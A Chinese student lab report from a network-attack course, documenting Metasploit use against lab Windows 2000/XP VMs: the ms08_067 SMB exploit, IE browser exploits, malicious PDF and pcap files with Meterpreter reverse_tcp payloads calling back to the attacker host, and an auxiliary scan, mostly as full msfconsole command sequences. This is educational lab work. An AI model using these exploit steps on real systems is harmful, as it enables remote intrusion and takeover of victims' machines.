2019-2020-2 20175303柴轩达《网络对抗技术》Exp6 MSF基础应用
1 基础知识
-
MSF的六种模块
Exploit
模块
- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
Payload
模块
- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
- Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- Stages:利用 stager 建立的连接下载的后续payload
Encoder
模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- 不改变payload作用,但能对payload进行加工
Aux
模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
Nops
模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
2 实践内容
-
主动攻击实践
-
ms08_067(成功)
-
攻击机kali的ip地址:192.168.0.10
被攻击机Win2k的ip地址:192.168.0.17,ping攻击机kali,能ping通
kali ping被攻击机win2k也能ping通
进入msf,使用search ms08-067
搜索相关信息
使用use exploit/windows/smb/ms08_067_netapi
选择攻击方法
使用show payloads
查看可用载荷
输入set payload generic/shell_reverse_tcp
设置攻击有效载荷
输入set LHOST 192.168.0.10
设置监听者地址
输入set LPORT 5303
设置监听者端口
输入set RHOST 192.168.0.17
设置靶机地址
输入set RPORT 5303
设置靶机端口
输入show options
查看设置信息
输入exploit
开始攻击
开始攻击显示靶机5303端口连接失败,将端口换为445端口,再次进行攻击,成功
-
针对浏览器的攻击
-
ie_cbutton_uaf
(失败)
-
输入search exploit/windows/browser/ie
搜索与ie浏览器相关的攻击方法
选择第一条攻击方法
在msfconsole输入use exploit/windows/browser/ie_cbutton_uaf
设置攻击方法
输入show options
查看设置信息
输入set SRVHOST 192.168.0.10
设置监听机地址
输入set SRVPORT 5303
设置监听机端口
输入exploit
开始攻击后生成网页链接
将网页链接复制到win2k里面打开
攻击失败,多次常识都显示浏览器不支持
在/usr/share/metasploit-framework/modules/exploits/windows/browser
文件夹里打开ie_cbutton_uaf.rb
automatic
里显示的是可被攻击的机型,原来没有win2k,但是winXP的ie8可以
换winXP,WinXP(192.168.0.20) ping kali(192.168.0.10)
kali(192.168.0.20) ping WinXP(192.168.0.20)
将之前的链接直接复制到WinXP的ie8中打不开
在msf控制台也只是发送HTML后,就没了后续。。以失败告终
-
ie_cgenericelement_uaf
(失败)
查看输入search exploit/windows/browser/ie
后与ie浏览器相关的攻击方法
刚才第一条失败,现在选择第第二条攻击方法
这次直接在文件夹中查看这条攻击方法的源代码,攻击机型有WinXP的ie8
在msfconsole输入use exploit/windows/browser/ie_cbutton_uaf
设置攻击方法
输入set SRVHOST 192.168.0.10
设置监听机地址
输入set SRVPORT 5303
设置监听机端口
输入exploit
开始攻击后生成网页链接
将网页,链接复制到winxp的ie8中打开,可能是被网页拦截了?
在kali主机这里只显示发送HTML…就没了
-
ie_createobject
(WinXP失败,win2k成功)
查看输入search exploit/windows/browser/ie
后与ie浏览器相关的攻击方法
现在选择第第三条攻击方法,也是成功率最好的一条
在文件夹中查看这条攻击方法的源代码,被攻击机型没有要求,可能是所有windows的所有版本的ie浏览器
在msfconsole输入use exploit/windows/browser/ie_createobject
设置攻击方法
输入set SRVHOST 192.168.0.10
设置监听机地址
输入set SRVPORT 5303
设置监听机端口
输入exploit
开始攻击后生成网页链接
将网页,链接复制到winxp的ie8中打开,能打开了,显示了一串字符串
但是在kali主机这里仍然是只显示发送HTML…就没了
然后我就想,既然这个对被攻击机没要求,能不能用win2k试试
将网页链接在win2k中打开
在kali端有回应,显示Meterpreter session 1 opend,就是有一个会话打开了
然后输入sessions -i 1
打开这个会话,就能打开win2k的命令窗口了
-
针对客户端的攻击
-
Adobe_pdf_embedded_exe(失败)
-
输入search exploit/windows/fileformat/adobe
后查看与adobe相关的攻击方法
直接使用成功率最高的Adobe_pdf_embedded_exe方法
在msf控制台
输入use windows/fileformat/adobe_pdf_embedded_exe
设置攻击方法
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入set FILENAME 20175303.pdf
设置生成pdf文件的名字
输入exploit
攻击
将20175303.pdf放到WinXP中
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入exploit
攻击
kali显示开始监听
然后再WinXP打开PDF文件后,没有后续,应该是失败了
-
adobe_cooltype_sing(成功)
在msf控制台
输入use windows/fileformat/adobe_cooltype_sing
设置攻击方法
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入exploit
攻击
(这里忘改名了,叫msf.pdf)
将msf.pdf放到WinXP中
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入exploit
攻击
在WinXP中打开msf.pdf后,回联成功
-
wireshark(成功)
在msf控制台
输入use windows/fileformat/wireshark_packet_dect
设置攻击方法
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入set FILENAME 20175303.pacp
设置生成pacp文件的名字
输入exploit
攻击
将20175303.pacp放到WinXP中
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置tcp反向回连
输入set LHOST 192.168.0.10
设置本地ip
输入set LPORT 5303
设置本地端口
输入exploit
攻击
在WinXP中打开20175303.pacp后,回联成功
-
针对应用辅助模块的攻击
-
ipidseq(成功)
-
输入use auxiliary/scanner/ip/ipidseq
确定辅助模块的攻击
输入show options
查看设置选项
输入set RHOSTS 192.168.0.30-192.168.0.40
目标地址范围
输入set TIMEOUT 5
超时设置
输入exploit
攻击
3 实验中遇到的问题
问题:浏览器攻击显示地址已经被使用,或者连接成功,但是没有会话
解决:重新启动msf控制台再来一遍就好
4 基础问题回答
-
用自己的话解释什么是exploit,payload,encode.
- Exploit是渗透攻击,就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果,渗透攻击分为主动渗透攻击与被动渗透攻击
- payload是载荷的意思,实验中指一段指令或shellcode,简单来说就是攻击后要执行的代码或命令
- encode是编码的意思,通过编码可以消除渗透攻击过程中应加以避免的“坏字符”,如0x00空字节。代码开发者将坏字符统一标出,就成为了编码方式,可以直接拿来使用。
-
离实战还缺些什么技术或步骤?
- 信息搜集,实验我们知道被攻击机的系统版本,但要实战我们并不知道
- 伪装和免杀,要后门程序悄无声息的放入被攻击机
5 实践总结与体会
实验并不难,但在开始攻击之前,需要知道自己想要攻击什么,然后就搜索相关的攻击方法,在确定攻击方法后,打开这条攻击方法的源文件,看他适合攻击什么样的机型,否则可能是白忙活一场,然后对每条攻击方法,可以看他对什么设置有要求,设置好再开始出问题比较少。